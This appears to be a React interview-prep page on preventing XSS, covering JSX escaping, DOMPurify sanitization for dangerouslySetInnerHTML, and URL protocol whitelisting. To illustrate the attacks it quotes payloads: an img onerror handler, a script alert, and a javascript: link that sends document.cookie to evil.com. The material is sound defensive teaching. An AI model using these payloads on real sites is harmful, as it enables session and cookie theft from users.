React Curriculum

React Security: XSS Prevention & dangerouslySetInnerHTML

Medium100% Free~25 mins#react#security#xss#dangerouslysetinnerhtml#dompurify#sanitization
Interview Answer (30-Second Summary)

React automatically defends against Cross-Site Scripting (XSS) by escaping all string values inside JSX before rendering to the DOM. Vulnerabilities occur when developers bypass this with dangerouslySetInnerHTML without DOMPurify sanitization, or render user-controlled javascript: URLs in href attributes.

Key Learning Objectives
✓

Explain how React automatically escapes strings rendered in JSX to prevent script injection.

✓

Identify the two primary vectors for XSS in React: dangerouslySetInnerHTML and javascript: URLs in href.

✓

Sanitize untrusted HTML strings using DOMPurify before rendering with dangerouslySetInnerHTML.

✓

Audit third-party dependencies and markdown renderers for HTML injection vulnerabilities.

The Interview Problem & Context

Demonstrate how JSX prevents XSS by default, identify how unsafe user inputs exploit `dangerouslySetInnerHTML` and `href`, and implement secure sanitization with DOMPurify.

1import React from 'react';
2import DOMPurify from 'dompurify';
3
4interface CommentProps {
5 userInput: string;
6 userWebsiteUrl: string;
7}
8
9export function CommentView({ userInput, userWebsiteUrl }: CommentProps) {
10 // 1. SAFE BY DEFAULT: React escapes all strings in JSX
11 // If userInput is "<script>alert('xss')</script>", React converts it to plain text!
12 const safeText = <div>{userInput}</div>;
13
14 // 2. VULNERABILITY 1: Unsanitized dangerouslySetInnerHTML
15 // const unsafeHTML = <div dangerouslySetInnerHTML={{ __html: userInput }} />; // EXTREMELY DANGEROUS!
16
17 // SECURE REMEDIATION 1: Sanitize with DOMPurify before injection
18 const cleanHTML = DOMPurify.sanitize(userInput);
19 const secureRichText = (
20 <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />
21 );
22
23 // 3. VULNERABILITY 2: Unsafe javascript: protocol in href
24 // React does NOT escape URLs in href! If url is "javascript:stealCookies()", clicking executes it!
25 const isSafeUrl = (url: string) => {
26 try {
27 const parsed = new URL(url, 'https://example.com');
28 return ['http:', 'https:', 'mailto:'].includes(parsed.protocol);
29 } catch {
30 return false;
31 }
32 };
33
34 return (
35 <article className="comment">
36 {safeText}
37 {secureRichText}
38
39 {/* SECURE REMEDIATION 2: Protocol whitelist validation */}
40 {isSafeUrl(userWebsiteUrl) ? (
41 <a href={userWebsiteUrl} rel="noopener noreferrer" target="_blank">
42 User Profile
43 </a>
44 ) : (
45 <span className="invalid-url">Invalid Link</span>
46 )}
47 </article>
48 );
49}
Deep Architectural Explanation

How React Protects Against XSS (And Where It Fails)

1. React's Built-in Escaping:

When you write:

jsx
<div>{userInput}</div>

React sets textContent rather than innerHTML under the hood. All HTML special characters (<, >, &, ", ') are rendered as plain text strings. Malicious script tags are never executed.

2. Vector 1: dangerouslySetInnerHTML

React deliberately named this prop dangerouslySetInnerHTML to remind engineers that it bypasses React's security guarantees.

  • Attack: An attacker injects <img src="invalid" onerror="stealSessionCookie()">.
  • Defense: Always sanitize via DOMPurify.sanitize(input) to strip dangerous tags and event attributes while keeping safe markup like <b> and <em>.

3. Vector 2: javascript: URIs in Links

React does not sanitize URL protocols in href or src attributes!

  • If an attacker provides: javascript:fetch('https://evil.com?c=' + document.cookie), clicking that link executes arbitrary JavaScript in the victim's session!
  • Defense: Always validate URLs against an allowed protocol whitelist (['https:', 'http:', 'mailto:']).
Common Interview Traps & Pitfalls
✕

Believing React protects against malicious URLs in `href` or `src` attributes.

✕

Using naive regex replacements to sanitize HTML instead of an audited parser like DOMPurify.

✕

Relying on server-side escaping alone when user HTML can be modified or persisted client-side.

Senior Interviewer Follow-Up Probes
?

What is Content Security Policy (CSP) and how does it prevent inline script execution?

?

How does React Server Components prevent JSON injection compared to legacy SSR JSON serialization?

?

How do you safely render SVG files uploaded by untrusted users in React?

Frequently Asked Interview Questions
How does React prevent XSS attacks by default?

React escapes all values embedded in JSX expressions before rendering them, treating them as strings rather than executable HTML or scripts by setting DOM textContent.

It instructs React to set innerHTML directly on the host DOM node, bypassing escaping. Any malicious <script> or <img onerror="..."> injected by an attacker will execute directly in the victim's browser.

Use DOMPurify (DOMPurify.sanitize(untrustedHtml)). DOMPurify uses the browser's HTML parser to strip malicious tags, attributes, and scripts while preserving safe formatting.

Yes. If user-controlled input starts with "javascript:", clicking the link executes arbitrary code. React does not sanitize URL protocols; developers must validate URLs explicitly.

Stored XSS occurs when malicious input is saved in a database and rendered to multiple users. DOM-based XSS occurs entirely client-side when untrusted data from the URL or localStorage is written to the DOM.

An HTTP response header that restricts the resources (scripts, styles, images, iframes) the browser is allowed to load or execute, acting as a defense-in-depth barrier against XSS.